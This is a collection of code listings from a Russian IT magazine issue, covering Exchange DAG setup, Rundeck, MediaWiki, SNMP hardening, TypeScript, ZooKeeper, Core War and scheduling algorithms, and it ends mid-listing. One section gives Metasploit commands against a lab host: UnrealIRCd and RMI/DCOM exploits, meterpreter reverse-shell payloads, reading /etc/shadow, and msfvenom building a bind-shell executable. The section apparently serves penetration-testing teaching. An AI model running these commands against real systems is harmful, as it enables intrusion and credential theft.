Отказоустойчивость Exchange 2013 средствами DAG
Александр Пичкасов
Листинг 1
dism /online /enable-feature:activedirectory-powershell /all
dism /online /enable-feature:windowsserverbackup
dism /online /enable-feature:windowsserverbackupsnapin
dism /online /enable-feature:microsoft-hyper-v-management-powershell /all
dism /online /enable-feature:microsoft-hyper-v /quiet
Листинг 2
#Декларирование функции создания виртуального диска и тома
##
function Create-VolumeOnVHD ($filenamevhd,$sizedisk) {
#Создание виртуального диска
New-VHD -Path "$filenamevhd" -SizeBytes $sizedisk –Dynamic | Out-Null
#Монтирование виртуального диска, сохранение индекса в переменной
$numdisk = (Mount-DiskImage -ImagePath "$filenamevhd" -PassThru | Get-DiskImage).number
#Инициализация диска, создание раздела, сохранение раздела в переменной
$newpartition = Initialize-Disk -Number $numdisk -PassThru | New-Partition -AssignDriveLetter –UseMaximumSize
#Форматирование тома
Format-Volume –DriveLetter $newpartition.DriveLetter –Force -Confirm:$false | Out-Null
return $newpartition
}
##
Листинг 3
#*Только для тестовой среды*, включаем группу Exchange Trusted Subsystem
#во встроенную группу администраторов AD, определяемую SID [9]
$admgroup = Get-ADGroup -Identity S-1-5-32-544
$exchtrusted = Get-ADGroup -Filter {name -eq "ExchangeTrusted Subsystem"}
Add-ADGroupMember $admgroup -Members $exchtrusted
#Получаем объект контроллера домена
$dc0 = (Get-ADDomainController -Filter *)[0]
#Создаем группу доступности без точки административного доступа
New-DatabaseAvailabilityGroup -Name DAG1 -WitnessServer $dc0.Name -DatabaseAvailabilityGroupIPAddresses ([System.Net.IPAddress])::None
#Последовательно добавляем в группу доступности серверы почтовых ящиков
$mbserver1 = (Get-MailboxServer)[0]
$mbserver2 = (Get-MailboxServer)[1]
$mbserver3 = (Get-MailboxServer)[2]
Add-DatabaseAvailabilityGroupServer -Identity DAG1 -MailboxServer $mbserver1
Add-DatabaseAvailabilityGroupServer -Identity DAG1 -MailboxServer $mbserver2
Add-DatabaseAvailabilityGroupServer -Identity DAG1 -MailboxServer $mbserver3
Листинг 4
#Создание корневых каталогов для томов и почтовых баз
mkdir C:\DAG1RootVolumes
mkdir C:\DAG1RootDatabases
#Назначение параметров группы доступности
Set-DatabaseAvailabilityGroup DAG1 -AutoDagDatabasesRootFolderPath C:\DAG1RootDatabases -AutoDagVolumesRootFolderPath C:\DAG1RootVolumes -AutoDagAutoReseedEnabled:$true -AutoDagDiskReclaimerEnabled:$true -AutoDagDatabaseCopiesPerVolume 1
#Предоставление необходимых привилегий
$groupAD = [ADSI]"WinNT://$env:UserDomain/Exchange Servers,group"
$grouplocal = [ADSI]"WinNT://$env:ComputerName/Администраторы,group"
$grouplocal.Invoke("Add",$groupAD.PSBase.Path)
#Создание каталога для файлов виртуальных дисков
mkdir c:\vhds
$partA = Create-VolumeOnVHD -filenamevhd "C:\vhds\diskA.vhd" -sizedisk 5000000000
#Создание каталога и монтирование тома
mkdir C:\DAG1RootVolumes\volumeA | Out-Null
mountvol C:\DAG1RootVolumes\volumeA $parta.AccessPaths[1]
$partB = Create-VolumeOnVHD -filenamevhd "C:\vhds\diskB.vhd" -sizedisk 5000000000
#Создание каталога и монтирование тома
mkdir C:\DAG1RootVolumes\volumeB | Out-Null
mountvol C:\DAG1RootVolumes\volumeB $partB.AccessPaths[1]
#Создание каталога для размещения почтовой базы
mkdir C:\DAG1RootDatabases\HAMailboxDB
#Монтирование одного из назначенных томов дополнительно в каталог базы
mountvol C:\DAG1RootDatabases\HAMailboxDB $partA.AccessPaths[1]
#Создание почтовой базы и ее монтирование
New-MailboxDatabase -Name "HAMailboxDB" -Server $mbserver1 -EdbFilePath C:\DAG1RootDatabases\HAMailboxDB\HAMailboxDB.DB\hamailboxdb.edb -LogFolderPath C:\DAG1RootDatabases\HAMailboxDB\HAMailboxDB.LOG
Mount-Database HAMailboxDB
#Создание почтового ящика и отправка сообщений
$ad0=(Get-AcceptedDomain)[0]
$pass = ConvertTo-SecureString 'Pa$$w0rd' -AsPlainText –Force New-Mailbox -Name "Alberto" -LastName "Serra" -Database "HAMailboxDB" -Password $pass -ResetPasswordOnNextLogon $false -DisplayName "Alberto Serra" -Alias alberto -UserPrincipalName "alberto@$ad0"
fsutil file createnew c:\attach5mb.bin 5000000
foreach ($i in 1..20) {Send-MailMessage -SmtpServer localhost -From "administrator@$ad0" -To "alberto@$ad0" -Subject "Test message n.$i with 5mb attachment" –Attachments c:\attach5mb.bin}
Листинг 5
#Создание дополнительной копии почтовой базы
Add-MailboxDatabaseCopy hamailboxdb -MailboxServer $mbserver2
#Запрос информации о состоянии копий почтовой базы
Get-MailboxDatabase hamailboxdb | Get-MailboxDatabaseCopyStatus
#Сравнение размеров файла почтовой базы для разных копий
Get-Item \\$mbserver1\c$\DAG1RootDatabases\HAMailboxDB\HAMailboxDB.DB\*.edb, \\$mbserver2\c$\ DAG1RootDatabases\HAMailboxDB\HAMailboxDB.Db\*.edb
Листинг 6
#Блокировка активации копий на сервере почтовых ящиков
Set-MailboxServer $mbserver3 -DatabaseCopyAutoActivationPolicy blocked
#Создание дополнительной копии почтовой базы, используемой в качестве резервной
Add-MailboxDatabaseCopy hamailboxdb -MailboxServer $mbserver3 -ReplayLagTime 7.0:0:0 -TruncationLagTime 1.0:0:0
Листинг 7
#Перемещение активной копии почтовой базы
Move-ActiveMailboxDatabase hamailboxdb -ActivateOnServer $mbserver2
#Запрос информации о состоянии копий почтовой базы
Get-MailboxDatabase hamailboxdb | Get-MailboxDatabaseCopyStatus
#Возврат активной копии на исходный сервер
Move-ActiveMailboxDatabase hamailboxdb -ActivateOnServer $mbserver1
Листинг 8
#*Имитация* выхода из строя физического диска
Dismount-DiskImage -ImagePath C:\vhds\diskA.vhd
#Запрос информации о состоянии копий почтовой базы
Get-MailboxDatabase hamailboxdb | Get-MailboxDatabaseCopyStatus
#Тестирование доступности почтового ящика
Test-MAPIConnectivity alberto
Листинг 9
#Установка модуля управления сервером DNS
Add-WindowsFeature RSAT-DNS-Server
#Получение списка серверов клиентского доступа
$cass = Get-ClientAccessServer
#Создание записей ресурсов для серверов клиентского доступа
foreach ($i in $cass) {
$ip = (Resolve-DnsName $i.fqdn -Type A -DnsOnly).ipaddress;
Add-DnsServerResourceRecordA -ComputerName $dc0.name -ZoneName $ad0.name -Name mail -IPv4Address $ip -TimeToLive 0:0:40
}
#Изменение адреса автообнаружения серверов клиентского доступа
Get-ClientAccessServer | Set-ClientAccessServer -AutoDiscoverServiceInternalUri "https://mail.$ad0/Autodiscover/Autodiscover.xml"
-----------------------------------------------------------------------------------------
Управление системами с помощью Rundeck
Сергей Яремчук
java -jar rundeck-launcher-2.6.8.jar
$ sudo add-apt-repository ppa:webupd8team/java
$ sudo apt-get update
$ sudo apt-get install oracle-java7-installer
$ wget -c http://dl.bintray.com/rundeck/rundeck-deb/rundeck-2.6.8-1-GA.deb
$ sudo dpkg -i rundeck-2.6.8-1-GA.deb
framework.server.name = localhost
framework.server.hostname = localhost
framework.server.port = 4440
framework.server.url = http://localhost:4440
framework.server.username = admin
framework.server.password = admin
$ sudo service rundeckd start
$ sudo service rundeckd status
# SSL Configuration
export RDECK_JVM="$RDECK_JVM -Drundeck.ssl.config=/etc/rundeck/ssl/ssl.properties -Dserver.https.port=${RDECK_HTTPS_PORT}"
$ sudo cat /var/rundeck/projects/Project1/etc/resources.xml
$ sudo rd-project -a create -p newproject
$ sudo dispatch -p newproject -v
$ sudo dispatch -v -p newproject -F osName:Linux -- uptime
$ sudo rd-jobs -p newproject
$ sudo rd-queue -p newproject
-----------------------------------------------------------------------------------------
Создание сайта вики семейства
Павел Малахов
ln -s ./mw-1.27.0 ./w
$wgLogo = $wgResourceBasePath . '/images/mylogo.png';
$wgScriptPath = "/w";
$wgArticlePath = "/wiki/$1";
$wgUsePathInfo = true;
RewriteEngine On
RewriteRule ^wiki/(.*)$ /w/index.php?title=$1 [PT,L,QSA]
RewriteRule ^wiki/*$ /w/index.php [L,QSA]
RewriteRule ^/*$ /w/index.php [L,QSA]
AllowOverride All
RewriteEngine On
RewriteOptions Inherit
$wgEnableUploads = true;
$wgMaxUploadSize = 5242880;
$wgFileExtensions = array('png', 'gif', 'jpg', 'jpeg', 'svg', 'pdf', 'doc', 'docx', 'xls', 'xlsx','ods','odg','odt');
$wgMaxUploadSize = array(
'*' => 1024 * 1024 * 100, // 100 MB
'url' => 1024 * 1024 * 2, // 2 MB
);
file_uploads = On
upload_max_filesize = 20M
$ php -i | grep upload
$wgGroupPermissions['*']['createaccount'] = false;
$wgGroupPermissions['*']['edit'] = false;
wfLoadExtension( 'WikiEditor' );
$wgDefaultUserOptions['usebetatoolbar'] = 1;
$wgDefaultUserOptions['usebetatoolbar-cgd'] = 1;
$wgDefaultUserOptions['wikieditor-preview'] = 1;
$wgDefaultUserOptions['wikieditor-publish'] = 1;
$wgEnableEmail = true;
$wgEnableUserEmail = true;
$wgEnotifUserTalk = true;
$wgEnotifWatchlist = true;
$wgEmailAuthentication = true;
$wgPasswordReminderResendTime = 1;
$wgEmergencyContact = "wiki_admin@mywiki.ru";
$wgPasswordSender = "wiki_admin@mywiki.ru";
php e-mail.php
$wgSMTP = array(
'host' => "ssl://smtp.mail.ru",
'IDHost' => "mail.ru",
'port' => 465,
'auth' => true,
'username' => "my_address@mail.ru",
'password' => "my_password"
);
-----------------------------------------------------------------------------------------
Работаем по-стахановски
Рашид Ачилов
msf > db_status
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.60.130
id
cat /etc/shadow
root@kali:~# apt-get update
root@kali:~# apt-get install gufw
root@kali:~# gufw
msf > db_nmap -v -sS -A 192.168.60.0/24
msf > search java_rmi
msf > use exploit/multi/misc/java_rmi_server
msf exploit(java_rmi_server) > show options
msf exploit(java_rmi_server) > set RHOST 192.168.60.130
msf exploit(java_rmi_server) > show payloads
msf exploit(java_rmi_server) > set PAYLOAD java/meterpreter/reverse_tcp
search dcerpc
use exploit/windows/dcerpc/ms03_026_dcom
show options
set RHOST 192.168.60.130
show payloads
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.60.129
check
meterpreter > getsid
root@kali:~# msfvenom –a x86 –platform windows –p windows/shell/bind_tcp –f exe –o myexploit.exe
-----------------------------------------------------------------------------------------
Развертывание Dr.Web Katana в корпоративной среде
Владимир Абраменко
msiexec /a C:\drweb-katana-1-201604140-activedirectory.msi /qn TARGETDIR=\\SLC-DC01\DrWebKatana
msiexec /a C:\drweb-katana-1-201604140-activedirectory.msi
# Start-Transcript -Path "C:\Windows\Temp\startup.log"
# to activate logging for windows 10
# making sure script is running on AsADMIN
If (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")){
$arguments = "& '" + $myinvocation.mycommand.definition + "'"
Start-Process "$psHome\powershell.exe" -Verb runAs -ArgumentList $arguments
break
}
# Files to Check
$KatanaKey="C:\Program Files\DrWeb\agent.key"
$SpiderAgent="C:\Program Files\DrWeb\spideragent.exe"
If (Test-Path $SpiderAgent ){
If(test-path $KatanaKey){}
Else {
# Add your key File location over the network
$from = "\\slc-dc01\Key\agent.key"
# leave this as Default
$destinationFolder = "C:\Program Files\DrWeb\"
if (!(Test-Path -path $destinationFolder)) {New-Item $destinationFolder -Type Directory}
copy-item $from -destination $destinationFolder -Force
if ($?) {"Successfully copied '$from' to '$destinationFolder'"}
Start-Sleep -Seconds 5
# Stop-Transcript – remove # to activate logging
# for windows 10}
Restart-Computer
}}
$from = "\\slc-dc01\Key\agent.key"
Set-ExecutionPolicy Unrestricted
@echo off
:: BatchGotAdmin
:-------------------------------------
REM --> Check for permissions
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
REM --> If error flag set, we do not have admin.
if '%errorlevel%' NEQ '0' (
echo Requesting administrative privileges...
goto UACPrompt
) else ( goto gotAdmin )
:UACPrompt
echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
set params = %*:"=""
echo UAC.ShellExecute "%~s0", "%params%", "", "runas", 1 >> "%temp%\getadmin.vbs"
"%temp%\getadmin.vbs"
exit /B
:gotAdmin
if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" )
pushd "%CD%"
CD /D "%~dp0"
:--------------------------------------
TIMEOUT /T 10 /NOBREAK
Echo off
:Start
IF EXIST "C:\Program Files\DrWeb\spideragent.exe" (GOTO CheckKey) ELSE (GOTO End1)
:CheckKey
IF EXIST "C:\Program Files\DrWeb\agent.key" (GOTO End) Else (GOTO CopyKey)
:CopyKey
copy "\\slc-dc01\Key\agent.key" "C:\Program Files\DrWeb\"
IF EXIST "C:\Program Files\DrWeb\agent.key" (GOTO End) Else (GOTO Key2)
goto End2
:End
echo Both Agent and key already exist.
goto FINISH
:End1
echo DrWebKatana is not installed
goto FINISH
:End2
echo DrWebKatana Key is copied Please restart to activate
goto FINISH
:Key2
echo DrWebKatana Key copying received ACCESS DENIED ERROR
:FINISH
copy "\\slc-dc01\Key\agent.key" "C:\Program Files\DrWeb\"
-----------------------------------------------------------------------------------------
Защита от DDoS подручными средствами. Часть 3. SNMP Amplification
Андрей Дугин
$ snmpbulkget -c public -v 2c -C r20000 192.168.10.129 1.3.6.1
# IP-адрес, протокол и порт, принимающий запросы SNMP
agentAddress udp:10.0.0.1:161
rocommunity MaKe_It_SeCuRe 10.0.0.0/24 .1.3.6.1.2.1.2
man snmpd.conf
# cd <директория с snmpd.conf>
# mv snmpd.conf snmpd.conf.backup
# echo rocommunity MaKe_It_SeCuRe 10.0.0.0/24 > snmpd.conf
# /etc/init.d/snmpd restart
createUser v3user SHA "some_AuThPaSs" AES some_privpass
authuser read v3user authpriv 1.3.6.1.2.1.2
$ snmpwalk -v 3 -A some_AuThPaSs -X some_privpass -a SHA -x AES -u v3user -l authPriv 192.168.10.128 1
(config)#access-list 10 permit 10.0.0.0 0.0.0.255
(config)#snmp-server community MaKe_It_SeCuRe RO 10
(config)#snmp-server view IFACES 1.3.6.1.2.1.2 included
(config)#snmp-server community MaKe_It_SeCuRe view IFACES RO 10
(config)#snmp-server group SECURE v3 priv read IFACES access 10
(config)# snmp-server user v3user SECURE v3 auth sha Strong_Password priv aes 128 Priv_Password
$ snmpwalk -v 3 -A Strong_Password -X Priv_Password -a SHA -x AES -u v3user0 -l authPriv 192.168.10.128 1
(config)#no snmp-server
# sh run | in snmp-server
snmp-server community public RO
snmp-server community private RW
(config)#no snmp-server community public RO
(config)#no snmp-server community private RW
-----------------------------------------------------------------------------------------
Под капотом платформы 1С. Часть 3. Сервер 1С
Олег Филиппов
-regport 1541 -port 1540 -range 1560:1591
-----------------------------------------------------------------------------------------
Использование технологического журнала 1С для поиска и исправления проблем с производительностью
Тимур Шамиладзе
Листинг 1. Пример настройки ТЖ
Листинг 2. Объединение двух событий
-----------------------------------------------------------------------------------------
TypeScript Use Cases
Александр Майоров
let s :string | string[];
let s :string | string[] | number;
let foo :string | string[] | number;
foo = 'abc'; // Ok
foo = ['a','b','c']; // Ok
console.log( foo.length ); // Error
console.log( ( foo).length ); // Ok
console.log( (foo as string|string[]).length ); // Ok
type arOrStr = string[] | string;
function foo(a :arOrStr) :void {
if (!Array.isArray(a)) {
a = [a]; // Error TS2322
}
console.log(
a.map( x => x + 1 ) // Error TS2339
);
}
foo('abcdef'); // Ok: ['a1b1c1d1e1f1']
foo(['abc', 'def']); // Ok: ['a1b1c1', '1e1f1'
function foo(a :string|string[]) :void {
if (!Array.isArray(a)) {
a = [a]; // Ok
}
console.log(
( a).map(x => x + 1) // Ok
);
}
var a :(string[] | string) [];
// или
var a: Array;
function foo(a :string) :void;
function foo(a :string[]) :void;
function foo(a) :void {
if (typeof a === 'string') {
a = [a]; // Ok
}
console.log(
a.map(x => x + 1) // Ok
);
}
foo('abc'); // Ok
foo(['a','b']); // Ok
foo(123); // Error TS2345: Argument of type 'number' is not assignable to parameter of type 'string[]'.
function foo(a :string|string[]) :void {
// Если точно не массив, то делаем массив
if (!Array.isArray(a)) {
a = [a]; // Ok
}
// Если точно пришел массив, то вызываем map()
if (Array.isArray(a)) {
console.log(
a.map(x => x + 1) // Ok
);
}
}
function foo(a :string|string[]) :void {
let b :string[];
if (!Array.isArray(a)) {
b = [a]; // Ok
}
else {
b = a;
}
console.log(
b.map(x => x + 1) // Ok
);
}
let uintArr = new Uint8Array(1);
uintArr[0] = 12;
class A extends Array {}
a = new A;
function foo(a :string|string[]) :void {
if (typeof a === 'string') {
a = [a] as string[]; // Ok
}
if (Array.isArray(a)) {
console.log(
a.map(x => x + 1) // Ok
);
}
}
foo(new Proxy([], { get: (o,p) => p == 'map' ? void 0 : o[p] }));
function isArrayHasMap(obj :any) :boolean {
return /Array/.test(Object.prototype.toString.call(obj))
&& 'map' in obj
&& 'function' === typeof obj.map.call
}
function foo(a :string|string[]) :void {
if (typeof a === 'string') a = [a] as string[];
if (isArrayHasMap(a)) {
console.log(
a.map(x => x + 1) // Ok
);
}
}
function isArrayHasMap(obj :any) :obj is string[] {
return /Array/.test(Object.prototype.toString.call(obj))
&& 'map' in obj
&& 'function' === typeof obj.map.call
}
function foo(a :string|string[]) :void {
if (typeof a === 'string') a = [a] as string[];
if (((o) :o is [] => 'map' in o)(a))
console.log(
a.map(x => x + 1) // Ok
);
}
-----------------------------------------------------------------------------------------
Apache ZooKeeper. Блокировки в распределенных системах
Александр Календарев
$ docker pull zookeeper/zookeper
$ docker run -d -e MYID=1 -v /var/lib/zookeeper:/tmp/zookeeper --name=zookeeper --net=host --restart=always zookeeper
$ docker exec -it zookeeper /bin/bash
$ apt install zookeeper zookeeper-bin
$ yum install zookeeper-server
$ wget http://www.gtlib.gatech.edu/pub/apache/zookeeper/stable/zookeeper- 3.4.6.tar.gz
$ tar -C /usr/share -zxf zookeeper-3.4.6.tar.gz
$ cd /usr/share/zookeeper-3.4.6/bin
$ export ZK_HOME=/usr/share/zookeeper-3.4.6
$ ./zkServer.sh start
$ ./zkCli.sh
$ ./zkCli.sh
[zk: localhost:2181(CONNECTED) 0] create /con 1
[zk: localhost:2181(CONNECTED) 1] create /con/n-1 1
[zk: localhost:2181(CONNECTED) 2] create /con/n-2 2
[zk: localhost:2181(CONNECTED) 3] ls /
[zk: localhost:2181(CONNECTED) 4] ls /con
[zk: localhost:2181(CONNECTED) 5] get /con
[zk: localhost:2181(CONNECTED) 6] ls /con watch
[zk: localhost:2181(CONNECTED) 7]
pip install kazoo
pecl install zookeeper
from kazoo.client import KazooClient
zk = KazooClient(hosts='127.0.0.1:2181')
zk.start()
nodes = zk.get_children(“/con”)
print nodes
n1,stat = zk.get("/con.n-1")
print n1
import io
from kazoo.client import KazooClient
# наш обработчик событий(watcher)
def my_func(event):
print event
zk = KazooClient(hosts='127.0.0.1:2181')
zk.start()
# здесь вызываем my_func когда дочерние узлы будут изменены
children = zk.get_children("/con", watch=my_func)
# встаем в режим ожидания
input()
$ python ex2.py
zk.get_children("/con", watch=my_func)
[zk: localhost:2181(CONNECTED) 7] create -e /con/e1 1
[zk: localhost:2181(CONNECTED) 8] close
[zk: localhost:2181(CONNECTED) 9] connect
[zk: localhost:2181(CONNECTED) 10] ls /con
[zk: localhost:2181(CONNECTED) 11] ls /con
[zk: localhost:2181(CONNECTED) 12] create -s /con/n-
[zk: localhost:2181(CONNECTED) 13] create -s /con/n-
[zk: localhost:2181(CONNECTED) 14] ls /con
[zk: localhost:2181(CONNECTED) 15] create -s /con/x
from kazoo.client import KazooClient
zk = KazooClient(hosts='127.0.0.1:2181')
zk.start()
ip = '192.168.0.11' # IP адрес на котором слушает демон
res = zk.create('/config/n', value=ip, acl=None, ephemeral=True, sequence=True)
getChildren ('/config');
if (!$nodes) die('the /config has\'n child nodes');
//выбираем случайный номер хоста
$num = rand(0, count($nodes)-1)
$node = $nodes[$num];
$ip = $zoo->get('/config/'.$node);
class ZooWatcher {
private $zoo;
private $callback;
public function __construct($host){
$this->zoo = new Zookeeper($host);
}
/* Интерфейсный метод, вызывается Zookeeper в случае возникновения события */
public function watcher($event_type, $stat, $path) {
$config = [];
$nodes = $this->zoo->getChildren($path, [$this,'watcher']);
foreach ($nodes as $nodeName) {
$nodeValue = $this->zoo->get($path .'/'.$nodeName);
$config[$nodeName] = $nodeValue;
}
call_user_func($this->callback, $config);
}
/* Запускает механизм отслеживания событий */
public function watch($path) {
$res = $this->zoo->getChildren($path, [$this,'watcher']);
var_dump($res);
}
/* Назначение обработчика изменения конфигурации */
public function setCallback($callback) {
if (!is_callable($callback)) {
throw new Exception('the function is not callable');
}
$this->callback = $callback;
}
}
/**
* эта пользовательская функция вызывается когда происходит переконфигурация системы
* в массиве $nodes содержится конфигурация используемых узлов
*/
function reconfigure($nodes){
var_dump($nodes);
}
// запуск
$zoo= new ZooWatcher();
$zoo->setCallback('reconfigure');
$zoo->watch('/config');
// механизм ожидания событий
while(true){
sleep(1);
}
-----------------------------------------------------------------------------------------
Система контроля версий Mercurial. Общий обзор и начало работы
Анна Сергеева
hg clone https://selenic.com/repo/hello
cd hello
<редактирование_файлов>
hg add <новые_файлы>
hg commit -m 'My changes'
hg push
hg init <директория_проекта>
cd <директория_проекта>
<добавление_новых_файлов>
hg add
hg commit -m 'Initial commit'
ssh://asergeeva@hg.spb.example.org//home/hg/ProjectsDocs
-----------------------------------------------------------------------------------------
Сражения в лабиринтах памяти
Алексей Вторников
Encoded Mnemonic Argum ent Action
Form Symbol
------- --------- ----- ---- -----------------------------
0 DAT B Initialize location to value B.
1 MOV A B Move A into location B.
2 ADD A B Add operand A to contents of location B and store result in location B.
3 SUB A B Subtract operand A from contents of location B and store result in location B.
4 JMP B Jump to location B.
5 JMZ A B If operand A is 0, jump to location B; otherwise continue with next instruction.
6 DJZ A B Decrement contents of location A by 1. If location A now holds 0, jump to location B; otherwise continue with next instruction.
7 CMP A B Compare operand A with operand B. If they are not equal, skip next instruction; otherwise continue with next instruction.
Encoded Mnemonic Name Meaning
Form Symbol
------- --------- ----------- -----------------------------
0 # Immediate The number following this symbol is the operand.
1 Relative The number specifies an offset from the current instruction. Mars adds the offset to the address of the current instruction; the number stored at the location reached in this way is the operand.
2 @ Indirect The number following this symbol specifies an offset from the current instruction to a location where the relative address of the operand is found. Mars adds the offset to the address of the current instruction and retrieves the number stored at the specified location; this number is then interpreted as an offset from its own address. The number found at this second location is the operand.
...
1504 MOV @20, 341
...
1524 DAT 50
...
1574 DAT -333
...
1845 DAT ???
...
MOV 0 1
...
1000 MOV 0 1 (старт)
...
1000 MOV 0 1
1001 MOV 0 1 (после первого исполнения)
...
1000 MOV 0 1
1001 MOV 0 1
1002 MOV 0 1 (после второго исполнения)
DAT -1
ADD #5 -1
MOV #0 @-2
JMP -2
0
1 DAT -1
2 ADD #5 -1 (старт)
3 MOV #0 @-2
4 JMP -2
5
0
1 DAT 4
2 ADD #5 -1
3 MOV #0 @-2 (следующий шаг)
4 JMP -2
5 0
0
1 DAT 14
2 ADD #5 -1
3 MOV #0 @-2
4 JMP -2 (следующий шаг)
5 0
...
9 0
...
14 0
...
DAT 0 указатель на исходный адрес
DAT 99 указатель на адрес назначения
MOV @-2 @-1 копирование
CMP -3 #9 если все 10 строк скопированы
JMP 4 то выйти из цикла
ADD #1 -5 иначе увеличить исходный адрес
ADD #1 -5 и адрес назначения
JMP -5 а потом повторить цикл
MOV #99 93 восстановить начальный адрес назначения
JMP 93 передать управление новой копии
SPL 2
JMP -1
MOV 0 1
-----------------------------------------------------------------------------------------
Классическая задача о построении расписания обслуживания для двух устройств
Кирилл Ткаченко
Листинг 1. Исходный текст программы на школьном алгоритмическом языке
цел n = 6
алг джонсон
нач
цел таб a[1:n], b[1:n], c[1:n], w[1:n], p[1:n]
цел i, j, m
m := 1
нц для i от 1 до n
p[i] := i
вывод 'a[', i, '] b[', i, '] : '
ввод a[i], b[i]
c[i] := мин(a[i], b[i])
m := m + c[i]
кц
нц для i от 1 до n
w[i] := знак(a[i] - b[i]) * (m - c[i])
кц
вывод 'M = ', m, нс
вывод ' i a b c w', нс
нц для i от 1 до n
вывод i:4, a[i]:4, b[i]:4, c[i]:4, w[i]:4, нс
кц
нц для i от 1 до n
нц для j от 1 до n - i
если w[j] > w[j + 1] то
обмен(a, j, j + 1)
обмен(b, j, j + 1)
обмен(w, j, j + 1)
обмен(p, j, j + 1)
все
кц
кц
нц для i от 1 до n
вывод ' ', p[i]
кц
вывод нс
кон
алг цел мин(цел a, цел b)
нач
если a <= b то
знач := a
иначе
знач := b
все
кон
алг цел знак(цел a)
нач
если a > 0 то
знач := 1
иначе если a = 0 то
знач := 0
иначе
знач := -1
все
все
кон
алг обмен(аргрез цел таб a[1:n], арг цел i, цел j)
нач
цел t
t := a[i]
a[i] := a[j]
a[j] := t
кон
Листинг 2. Исходный текст программы на языке Паскаль
program johnson;
const
n = 6;
type
mas = array [1..n] of integer;
function min(a, b: integer): integer;
begin
if a <= b then
min := a
else
min := b;
end;
function sign(a: integer): integer;
begin
if a > 0 then
sign := 1
else if a = 0 then
sign := 0
else
sign := -1;
end;
procedure swap(var a: mas; i, j: integer);
var
t: integer;
begin
t := a[i];
a[i] := a[j];
a[j] := t;
end;
procedure main;
var
a, b, c, w, p: mas;
i, j, m: integer;
begin
m := 1;
for i := 1 to n do
begin
p[i] := i;
write('a[', i, '] b[', i, '] : ');
readln(a[i], b[i]);
c[i] := min(a[i], b[i]);
m := m + c[i];
end;
for i := 1 to n do
w[i] := sign(a[i] - b[i]) * (m - c[i]);
writeln('M = ', m);
writeln(' i a b c w');
for i := 1 to n do
writeln(i:4, a[i]:4, b[i]:4, c[i]:4, w[i]:4);
for i := 1 to n - 1 do
for j := 1 to n - i do
if w[j] > w[j + 1] then
begin
swap(a, j, j + 1);
swap(b, j, j + 1);
swap(w, j, j + 1);
swap(p, j, j + 1);
end;
for i := 1 to n do
write(' ', p[i]);
writeln;
end;
begin
main;
end.
Листинг 3. Исходный текст программы на языке Си
#include
#define n 6
int min(int a, int b)
{
if (a <= b)
return a;
else
return b;
}
int sign(int a)
{
if (a > 0)
return 1;
else if (a == 0)
return 0;
else
return -1;
}
void swap(int a[], int i, int j)
{
int t = a[i];
a[i] = a[j];
a[j] = t;
}
int main(int argc, char * argv[])
{
int a[n], b[n], c[n], w[n], p[n];
int i, j, m = 1;
for (i = 0; i < n; ++i)
{
p[i] = i + 1;
printf("a[%d] b[%d] : ", i + 1, i + 1);
scanf("%d%d", &a[i], &b[i]);
c[i] = min(a[i], b[i]);
m = m + c[i];
}
for (i = 0; i < n; ++i)
w[i] = sign(a[i] - b[i]) * (m - c[i]);
printf("M = %d\n", m);
printf(" i a b c w\n");
for (i = 0; i < n; ++i)
printf("%4d%4d%4d%4d%4d\n", i + 1, a[i], b[i], c[i], w[i]);
for (i = 0; i < n; ++i)
for (j = 0; j < n - i - 1; ++j)
if (w[j] > w[j + 1])
{
swap(a, j, j + 1);
swap(b, j, j + 1);
swap(w, j, j + 1);
swap(p, j, j + 1);
}
for (i = 0; i < n; ++i)
printf(" %d", p[i]);
printf("\n");
return 0;
}
Листинг 4. Исходный текст программы на языке Python
# -*- coding: utf-8 -*-
n = 6
def sign(a):
if a > 0:
return 1
elif a == 0:
return 0
else:
return -1
def swap(a, i, j):
t = a[i]
a[i] = a[j]
a[j] = t
a = list(range(n))
b = list(range(n))
c = list(range(n))
w = list(range(n))
p = list(range(n))
m = 1
for i in range(n):
p[i] = i + 1
s = input('a[%d] b[%d] : ' % (i + 1, i + 1)).strip().split()
a[i], b[i] = int(s[0]), int(s[1])
c[i] = min(a[i], b[i])
m = m + c[i]
for i in range(n):
w[i] = sign(a[i] - b[i]) * (m - c[i]);
print('M = %d' % m)
print(' i a b c w');
for i in range(n):
print('%4d%4d%4d%4d%4d' % (i + 1, a[i], b[i], c[i], w[i]))
for i in range(n):
for j in range(n - i - 1):
if w[j] > w[j + 1]:
swap(a, j, j + 1)
swap(b, j, j + 1)
swap(w, j, j + 1)
swap(p, j, j + 1)
for i in range(n):
print(' %d' % p[i], end='')
print()
-----------------------------------------------------------------------------------------
Практическая реализация и применение алгоритмов стохастической аппроксимации
Ткаченко К.С.
Листинг 1. Метод для реализации одного шага алгоритма Нарендры-Шапиро
public static double algNarendryShapiro(double[] P, double GAM, int[] NV_v, int iter) {
int N = P.length;
int NV = autom(P);
double CSI = poteri_binary(NV);
if (CSI == 1.0) {
return CSI;
}
for (int i = 0; i < N; i++) {
if (i == NV) {
P[i] = P[i] + GAM * (1.0 - P[i]);
} else {
P[i] = P[i] - GAM * P[i];
}
}
NV_v[iter] = NV;
return CSI;
}
Листинг 2. Метод для реализации одного шага алгоритма Льюса
public static double algLuce(double[] P, double GAM, double A, int[] NV_v, int iter) {
int N = P.length;
int NV = autom(P);
double CSI = poteri_binary(NV);
double X;
if (CSI == 1.0) {
X = -GAM / (1.0 - (1.0 - A) * P[NV]);
} else {
X = GAM / (A + (1.0 - A) * P[NV]);
}
for (int i = 0; i < N; i++) {
if (i == NV) {
P[i] = P[i] + P[NV] * (1.0 - P[i]) * X;
} else {
P[i] = P[i] - P[NV] * P[i] * X;
}
}
NV_v[iter] = NV;
return CSI;
}
Листинг 3. Метод для реализации одного шага алгоритма Варшавского-Воронцовой
public static double algVarVor(double[] P, double GAM, int[] NV_v, int iter) {
int N = P.length;
int NV = autom(P);
double CSI = poteri_binary(NV);
double X;
if (CSI == 1.0) {
X = -GAM;
} else {
X = GAM;
}
for (int i = 0; i < N; i++) {
if (i == NV) {
P[i] = P[i] + P[NV] * (1.0 - P[i]) * X;
} else {
P[i] = P[i] - P[NV] * P[i] * X;
}
}
